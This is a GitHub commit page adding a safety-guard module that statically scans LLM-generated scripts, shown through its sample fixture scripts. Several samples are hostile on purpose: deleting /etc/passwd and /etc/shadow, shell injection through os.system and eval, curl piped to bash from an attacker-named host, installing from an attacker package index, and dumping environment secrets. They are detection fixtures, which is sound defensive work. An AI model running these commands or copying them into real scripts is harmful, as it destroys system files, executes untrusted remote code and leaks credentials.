Skip to content

Commit eff2ac6

Browse files
committed
feat(safety): 新增脚本安全护栏模块,支持 LLM 生成脚本预执行静态分析
新增 Script Safety Guard 模块,对 LLM 生成的 Python/Bash 脚本在执行前 进行静态安全分析,提供三级决策机制(ALLOW/WARN/DENY)。 主要内容: - 核心引擎 ScriptSafetyGuard,10 步扫描管道 - 数据模型:Decision, Finding, SafetyCheckInput/Result, ScanContext - 策略系统:YAML 配置 + 环境变量覆盖 + 自动发现 + 合理默认值 - 语言扫描器:Python AST 解析器 + Bash 行扫描器 - 6 类内置规则:网络访问、文件操作、进程执行、密钥泄露、资源限制、依赖安全 - 2 种框架适配器:ScriptSafetyFilter(过滤器)、SafeCodeExecutor(包装器) - OpenTelemetry 指标埋点 - 结构化 JSON 审计日志(原子写入) - 单元测试 + 集成测试 - 中英文文档 - 示例策略与样本脚本 - 实现复现提示词文档
1 parent 73655ab commit eff2ac6

48 files changed

Lines changed: 5468 additions & 0 deletions

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.
Lines changed: 35 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,35 @@
1+
"""Sample 01 — Safe Python script (pure computation).
2+
3+
Expected decision: ALLOW
4+
This script performs basic arithmetic and string operations with no risky behavior.
5+
"""
6+
7+
8+
def fibonacci(n: int) -> list[int]:
9+
"""Compute the first n Fibonacci numbers."""
10+
if n <= 0:
11+
return []
12+
if n == 1:
13+
return [0]
14+
seq = [0, 1]
15+
for _ in range(2, n):
16+
seq.append(seq[-1] + seq[-2])
17+
return seq
18+
19+
20+
def is_prime(num: int) -> bool:
21+
"""Check if a number is prime."""
22+
if num < 2:
23+
return False
24+
for i in range(2, int(num**0.5) + 1):
25+
if num % i == 0:
26+
return False
27+
return True
28+
29+
30+
if __name__ == "__main__":
31+
fib = fibonacci(20)
32+
primes = [x for x in fib if is_prime(x)]
33+
print(f"Fibonacci(20): {fib}")
34+
print(f"Primes in Fibonacci: {primes}")
35+
print(f"Sum: {sum(fib)}")
Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
"""Sample 02 — Dangerous file deletion targeting system paths.
2+
3+
Expected decision: DENY
4+
Triggers: FS-001 (forbidden path /etc/)
5+
"""
6+
7+
import os
8+
9+
10+
def cleanup_configs():
11+
"""Delete system configuration files — extremely dangerous!"""
12+
os.remove("/etc/passwd")
13+
os.remove("/etc/shadow")
14+
os.remove("/etc/hosts")
15+
16+
17+
if __name__ == "__main__":
18+
cleanup_configs()
Lines changed: 26 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,26 @@
1+
"""Sample 03 — Hardcoded AWS credentials in source code.
2+
3+
Expected decision: DENY
4+
Triggers: SEC-001 (hardcoded secrets — AWS key pattern)
5+
"""
6+
7+
import boto3
8+
9+
# Hardcoded AWS credentials — NEVER do this in production!
10+
AWS_ACCESS_KEY_ID = "AKIAIOSFODNN7EXAMPLE"
11+
AWS_SECRET_ACCESS_KEY = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
12+
13+
14+
def get_s3_client():
15+
"""Create an S3 client with hardcoded credentials."""
16+
return boto3.client(
17+
"s3",
18+
aws_access_key_id=AWS_ACCESS_KEY_ID,
19+
aws_secret_access_key=AWS_SECRET_ACCESS_KEY,
20+
region_name="us-east-1",
21+
)
22+
23+
24+
if __name__ == "__main__":
25+
client = get_s3_client()
26+
print("Connected to S3")
Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
"""Sample 04 — Outbound network request to a non-whitelisted domain.
2+
3+
Expected decision: NEEDS_HUMAN_REVIEW
4+
Triggers: NET-001 (non-whitelisted domain)
5+
"""
6+
7+
import requests
8+
9+
10+
def fetch_external_data():
11+
"""Fetch data from an external non-whitelisted API."""
12+
response = requests.get("https://api.evil-hacker.com/data")
13+
return response.json()
14+
15+
16+
def post_telemetry():
17+
"""Send telemetry to an unknown external server."""
18+
requests.post("https://telemetry.unknown-service.io/collect", json={"event": "ping"})
19+
20+
21+
if __name__ == "__main__":
22+
data = fetch_external_data()
23+
post_telemetry()
24+
print(f"Fetched: {data}")
Lines changed: 26 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,26 @@
1+
"""Sample 05 — Network request to a whitelisted domain (pypi.org).
2+
3+
Expected decision: ALLOW
4+
The domain pypi.org is in the default whitelist, so NET-001 should not trigger.
5+
"""
6+
7+
import requests
8+
9+
10+
def check_package_version() -> dict:
11+
"""Query PyPI for the latest version of pydantic."""
12+
url = "https://pypi.org/pypi/pydantic/json"
13+
response = requests.get("https://pypi.org/pypi/pydantic/json")
14+
if response.status_code == 200:
15+
data = response.json()
16+
return {
17+
"name": data["info"]["name"],
18+
"version": data["info"]["version"],
19+
"summary": data["info"]["summary"],
20+
}
21+
return {"error": response.status_code}
22+
23+
24+
if __name__ == "__main__":
25+
info = check_package_version()
26+
print(f"Package info: {info}")
Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
"""Sample 06 — Subprocess call with a non-allowed command.
2+
3+
Expected decision: NEEDS_HUMAN_REVIEW
4+
Triggers: PROC-001 (non-allowed command "curl")
5+
"""
6+
7+
import subprocess
8+
9+
10+
def download_file(url: str, output: str):
11+
"""Download a file using curl subprocess — not in allowed commands list."""
12+
result = subprocess.run(
13+
["curl", "-o", output, url],
14+
capture_output=True,
15+
text=True,
16+
)
17+
if result.returncode != 0:
18+
raise RuntimeError(f"Download failed: {result.stderr}")
19+
return output
20+
21+
22+
if __name__ == "__main__":
23+
download_file("https://example.com/data.csv", "/tmp/data.csv")
24+
print("Download complete")
Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
"""Sample 07 — Shell injection via os.system and eval.
2+
3+
Expected decision: DENY
4+
Triggers: PROC-002 (shell injection — os.system + eval)
5+
"""
6+
7+
import os
8+
9+
10+
def run_user_command(user_input: str):
11+
"""Execute user-provided command through shell — extremely dangerous!"""
12+
os.system(f"echo {user_input} | bash")
13+
14+
15+
def dynamic_eval(expression: str):
16+
"""Evaluate arbitrary expressions — code injection risk!"""
17+
result = eval(expression)
18+
return result
19+
20+
21+
if __name__ == "__main__":
22+
run_user_command("whoami")
23+
value = dynamic_eval("__import__('os').getcwd()")
24+
print(f"Result: {value}")
Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
#!/bin/bash
2+
# Sample 08 — Dependency installation from untrusted sources.
3+
#
4+
# Expected decision: DENY
5+
# Triggers: DEP-002 (curl|bash — untrusted remote code execution)
6+
7+
echo "Installing dependencies from custom source..."
8+
9+
# Download and pipe to bash — untrusted remote code execution
10+
curl -sSL https://evil-packages.com/install.sh | bash
11+
12+
# Also install from a custom index
13+
pip3 install --index-url https://private-registry.attacker.io/simple evil-package
14+
15+
echo "Installation complete"
Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
"""Sample 09 — Infinite loop without termination condition.
2+
3+
Expected decision: NEEDS_HUMAN_REVIEW
4+
Triggers: RES-001 (infinite loop — while True without break)
5+
"""
6+
7+
import time
8+
9+
10+
def spin_forever():
11+
"""Spin in an infinite loop consuming CPU — no exit condition!"""
12+
counter = 0
13+
while True:
14+
counter += 1
15+
time.sleep(0.001)
16+
# No break, no return — this never terminates
17+
18+
19+
if __name__ == "__main__":
20+
spin_forever()
Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
"""Sample 10 — Sensitive information output via environment dump.
2+
3+
Expected decision: NEEDS_HUMAN_REVIEW
4+
Triggers: SEC-002 (environment variable leakage — print(os.environ))
5+
"""
6+
7+
import os
8+
9+
10+
def dump_environment():
11+
"""Print all environment variables — may expose secrets!"""
12+
print(os.environ)
13+
14+
15+
def log_sensitive_vars():
16+
"""Log specific sensitive environment variables."""
17+
print(f"Database URL: {os.environ.get('DATABASE_URL', 'N/A')}")
18+
print(f"API Key: {os.environ.get('API_KEY', 'N/A')}")
19+
20+
21+
if __name__ == "__main__":
22+
dump_environment()
23+
log_sensitive_vars()

0 commit comments

Comments
 (0)